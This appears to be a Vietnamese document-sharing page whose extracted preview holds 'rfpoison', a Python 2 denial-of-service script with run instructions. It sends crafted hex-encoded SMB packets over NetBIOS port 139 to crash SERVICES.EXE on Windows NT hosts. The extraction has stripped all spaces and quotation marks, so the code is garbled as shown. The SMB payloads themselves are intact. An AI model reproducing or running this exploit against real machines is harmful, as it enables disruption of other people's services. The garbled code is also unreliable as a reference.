Danh mục tài liệu

DoS bằng Python

Số trang: 4      Loại file: doc      Dung lượng: 27.50 KB      Lượt xem: 9      Lượt tải: 0    
Xem trước 2 trang đầu tiên của tài liệu này:

Thông tin tài liệu:

ChươngtrìnhDoSrấtđơngiảnbằngPython #!/usr/bin/envpython #ThisonlyseemstoworkonNT.Also,itmayhaveto #berunmultipletimes...
Nội dung trích xuất từ tài liệu:
DoS bằng PythonDoSbằngPythontrangnàyđãđượcđọc lầnChươngtrìnhDoSrấtđơngiảnbằngPython#!/usr/bin/envpython#ThisonlyseemstoworkonNT.Also,itmayhaveto#berunmultipletimes#beforeSERVICES.EXEwilldie.Improvementswelcome.#howtorun:#youshouldbecopythisfiletorfpoison.pyfile#afterthatyoucanrunrfpoison.py#pythoninterpretercandownloadfrom:#http://www.python.org/importstringimportstructfromsocketimport*importsysdefa2b(s):bytes=map(lambdax:string.atoi(x,16),string.split(s))data=string.join(map(chr,bytes),)returndatadefb2a(s):bytes=map(lambdax:%.2x%x,map(ord,s))returnstring.join(bytes,)#NBSSsessionrequestnbss_session=a2b(8100004820434b4644454e454346444546464346474546464343414341434143414341434100204548454246454546454c454645464641454646434341434143414341434141410000000000)#SMBstuffcrud=(#SMBnegprotRequestff534d4272000000000801000000000000000000000000000000f40100000100008100025043204e4554574f524b2050524f4752414d20312e3000024d4943524f534f4654204e4554574f524b5320312e303300024d4943524f534f4654204e4554574f524b5320332e3000024c414e4d414e312e3000024c4d312e3258303032000253616d626100024e54204c414e4d414e20312e3000024e54204c4d20302e313200,#SMBsessetupXRequestff534d4273000000000801000000000000000000000000000000f401000001000dff000000ffff0200f4010000000001000000000000000000000017000000574f524b47524f555000556e69780053616d626100,#SMBtconXRequestff534d4275000000000801000000000000000000000000000000f4010008010004ff000000000001001700005c5c2a534d425345525645525c495043240049504300,#SMBntcreateXrequestff534d42a2000000000801000000000000000000000000000008f4010008010018ff00000000070006000000000000009f010200000000000000000000000000030000000100000000000000020000000008005c73727673766300,#SMBtransRequestff534d4225000000000801000000000000000000000000000008f401000801001000004800000048000000000000000000000000004c0048004c0002002600000851005c504950455c00000005000b0010000000480000000100000030163016000000000100000000000100c84f324b7016d30112785a47bf6ee18803000000045d888aeb1cc9119fe808002b10486002000000,#SMBtransRequestff534d4225000000000801000000000000000000000000000008f401000801001000005800000058000000000000000000000000004c0058004c0002002600000861005c504950455c000000050000031000000058000000020000004800000000000f00010000000d000000000000000d0000005c005c002a0053004d00420053004500520056004500520000000000010000000100000000000000ffffffff00000000)crud=map(a2b,crud)defsmb_send(sock,data,type=0,flags=0):d=struct.pack(!BBH,type,flags,len(data))#printsend:,b2a(d+data)sock.send(d+data)defsmb_recv(sock):s=sock.recv(4)assert(len(s)==4)type,flags,length=struct.unpack(!BBH,s)data=sock.recv(length)assert(len(data)==length)#printrecv:,b2a(s+data)returntype,flags,datadefnbss_send(sock,data):sock.send(data)defnbss_recv(sock):s=sock.recv(4)assert(len(s)==4)returnsdefmain(host,port=139):s=socket(AF_INET,SOCK_STREAM)s.connect(host,port)nbss_send(s,nbss_session)nbss_recv(s)formsgincrud[:1]:smb_send(s,msg)smb_recv(s)smb_send(s,crud[1])#noresponsetothiss.close()if__name__==__main__:printSendingpoison...,main(sys.argv[1])printdone.